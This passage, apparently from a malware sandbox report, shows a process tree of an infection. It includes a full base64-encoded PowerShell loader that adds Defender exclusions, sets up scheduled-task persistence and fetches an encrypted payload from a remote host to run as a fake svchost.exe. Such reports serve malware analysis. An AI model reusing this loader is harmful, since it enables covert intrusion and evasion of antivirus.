MAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Windows\System32\a\Silentum_Spoofer.exeSilentum_Spoofer.exe3⤵
-
C:\Users\Admin\AppData\Local\2acd7c9f-aed7-4ebf-bb14-30afc8659cde\background.exe"C:\Users\Admin\AppData\Local\2acd7c9f-aed7-4ebf-bb14-30afc8659cde\background.exe"4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Windows\System32\a\sunwukongs.exesunwukongs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Ultimately.a3x4⤵
-
-
-
C:\Windows\System32\a\21.exe21.exe3⤵
-
-
C:\Windows\System32\a\tkr.exetkr.exe3⤵
-
C:\Windows\System32\a\tkr.exetkr.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Windows\System32\a\vnc.exevnc.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\19AAAA7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vvxzdjbm\vvxzdjbm.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBECE.tmp" "c:\Users\Admin\AppData\Local\Temp\vvxzdjbm\CSC8B9E5134D96B43F8AE6C8B4917143F3.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\6D4B2A7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ofwh513v\ofwh513v.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES34C3.tmp" "c:\Users\Admin\AppData\Local\Temp\ofwh513v\CSC4BD57E31E33D4836972593B13B567A57.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\1A6AAA7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nctpa2df\nctpa2df.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES60A1.tmp" "c:\Users\Admin\AppData\Local\Temp\nctpa2df\CSCF5EF3A3FC5D24D67A8C4DC194B60DA36.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Windows\System32\a\RedX_Setup.exeRedX_Setup.exe3⤵
-
C:\Windows\System32\a\RedX_Setup.exeC:\Windows\System32\a\RedX_Setup.exe4⤵
-
-
-
C:\Windows\System32\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
-
-
C:\Windows\System32\a\net_launcher.exenet_launcher.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe encrypted.hta3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c WindowsLogonService.bat3⤵
-
